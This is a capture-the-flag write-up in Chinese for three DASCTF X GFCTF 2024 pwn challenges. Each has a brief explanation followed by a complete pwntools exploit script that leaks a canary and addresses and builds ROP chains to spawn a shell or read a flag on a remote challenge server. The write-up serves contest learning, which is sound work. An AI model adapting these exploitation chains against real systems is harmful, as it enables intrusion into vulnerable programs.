# [DASCTF X GFCTF 2024 | 四月开启第一局] pwn_wp# ControlIDA 识别有点问题,重新识别后是个静态链接的题目。能拿到 syscall 的地址,而且没有开沙箱,所以想到直接 syscall 来 execve ('/bin/sh',0,0). 利用栈溢出漏洞就需要通过 exception 的 catch。但是好像程序定位 catch 段是依靠 ret 的地址的,所以程序返回地址就不能修改了,所以只修改一个 rbp 指向的数值就栈迁移了。 但是迁移到 gift 那里 0x10 太小,所以看到 main 函数读取 gift 的时候是先设置 rdx 之后再设置的 rdi 和 rsi,所以直接从 0x402221 那里开始执行就行。 同时程序有一个 gadget 就是 mov rdx,QWORD PTR [rsi-0x8]; mov QWORD PTR [rdi-0x8],rdx; ret; 而且此时程序的 [rsi-0x8]=0x91,于是就能把 rdx 赋值为 0x91,之后就能接着往 gift 之后 ROP 链子了,自然就 get shell 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug' context(arch='amd64' ,os='linux' ) context.terminal=['tmux' ,'splitw' ,'-h' ] pwn = './control' p=remote('node5.buuoj.cn' ,29425 ) pop_rdi=0x401c72 pop_rsi=0x405285 pop_rdx=0x401aff pop_rax=0x462c27 syscall=0x40161e gift=0x4D3350 read_a=0x402221 mov_rdx_91=0x446200 p.recvuntil('Gift>' ) payload1=p64(mov_rdx_91)+p64(read_a) p.send(payload1) p.recvuntil('How much do you know about control?' ) payload2=b'a' *0x70 +p64(gift-8 )+p64(0x402237 ) p.send(payload2) payload3=b'\x00' *8 +p64(pop_rdi)+p64(0x4d33a8 )+p64(pop_rsi)+p64(0 )+p64(pop_rdx)+p64(0 )+p64(pop_rax)+p64(0x3b )+p64(syscall)+p64(0 )+b"/bin/sh\x00" pause() p.send(payload3) p.interactive()
# Exception格式化字符串漏洞可以拿到 libc 基址,elf 基址,栈地址和函数的 canary。之后就是正常栈溢出打就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug' context(arch='amd64' ,os='linux' ) context.terminal=['tmux' ,'splitw' ,'-h' ] pwn = './exception' p=remote('node5.buuoj.cn' ,29424 ) off=6 p.sendlineafter("please tell me your name" ,'%7$p%8$p%9$p%11$p' ) p.recvuntil('0x' ) can=int (p.recv(16 ),16 ) p.recv(2 ) stk_base=int (p.recv(12 ),16 )-(0x7ffd6eb95250 -0x7ffd6eb77000 ) p.recv(2 ) elf_base=int (p.recv(12 ),16 )-(0x6385d7ede480 -0x6385d7edd000 ) p.recv(2 ) libc_base=int (p.recv(12 ),16 )-(0x7751f3bac083 -0x7751f3b88000 ) print (hex (can))print (hex (stk_base))print (hex (elf_base))print (hex (libc_base))sh=libc_base+0x1b45bd syst=libc_base+0x52290 pop_rdi=libc_base+0x023b6a pop_rsi=libc_base+0x2601f pop_rdx2=libc_base+0x15fae6 p.recvuntil("where is the stack" ) p.recvuntil('0x' ) addr=int (p.recv(12 ),16 ) bp=addr-(0x7fff2b69c5d0 )+0x7fff2b69c670 pay=b'a' *0x68 +p64(can)+p64(bp)+p64(elf_base+0x1408 )+p64(0 )+p64(can)+p64(0 )*3 +p64(elf_base+0x101a )+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0 )+p64(pop_rdx2)+p64(0 )*2 +p64(libc_base+0xE3170 ) p.sendlineafter("How much do you know about exception?" ,pay) p.interactive()
# dynamic_but_static远程 libc 版本和附件的 libc 版本不一样,经过查偏移之后得到只有 open64 函数的偏移不同,所以只要在本地 payload 基础上改一个 open64 的地址就行。 正常栈溢出,但是为了防止之后的 payload 被过滤,自己栈迁移写了 read 函数再次读入 payload 并且执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug' context(arch='amd64' ,os='linux' ) context.terminal=['tmux' ,'splitw' ,'-h' ] pwn = './pwn' p=remote('node5.buuoj.cn' ,25842 ) pop_rdi=0x401381 puts=0x4010d0 main=0x401386 read_a=0x401100 setbuf=0x404038 off=0x87fe0 pop_rbp=0x4011ed lr=0x401482 payload=p64(pop_rdi)+p64(setbuf)+p64(puts)+p64(pop_rdi)+p64(0 )+p64(main) p.sendline(b'a' *0x38 +payload) libc_base=u64(p.recv(6 )+b'\x00\x00' )-(0x00007ffff7c87fe0 -0x7ffff7c00000 ) pop_rsi=libc_base+0x2be51 pop_rdx=libc_base+0x0796a2 open64=libc_base+ 0x1146d0 write_a=libc_base+0x114680 sendfile=libc_base+0x118f80 read1=libc_base+0x1145e0 print (hex (libc_base))push_rax=libc_base+0x41563 pop_rax=libc_base+0x045eb0 opendir=libc_base+0xe6280 readdir=libc_base+0xe6680 syscall=libc_base+0x114059 newbuf=0x404000 +0x500 open_rdi=0x0FFFFFF9C gad=libc_base+0x1194fe payload=b'a' *0x38 +p64(pop_rdi)+p64(0 )+p64(pop_rsi)+p64(newbuf)+p64(pop_rdx)+p64(0x500 )+p64(read_a)+p64(pop_rbp)+p64(newbuf)+p64(lr) pause() val=0x407c20 p.sendline(payload) getrax=paylaod=b'./flag\x00\x00' +p64(pop_rdi)+p64(newbuf)+p64(pop_rsi)+p64(0 )+p64(open64)+p64(pop_rdi)+p64(0 )+p64(pop_rsi)+p64(newbuf+0x100 )+p64(pop_rdx)+p64(0x500 )+p64(read_a)+p64(pop_rbp)+p64(newbuf+0x100 )+p64(lr) pause() p.sendline(getrax) pause() pay=p64(newbuf+0x400 )+p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(newbuf-0x50 )+p64(pop_rdx)+p64(0x100 )+p64(read_a)+p64(pop_rdi)+p64(newbuf-0x50 )+p64(puts) p.sendline(pay) p.interactive()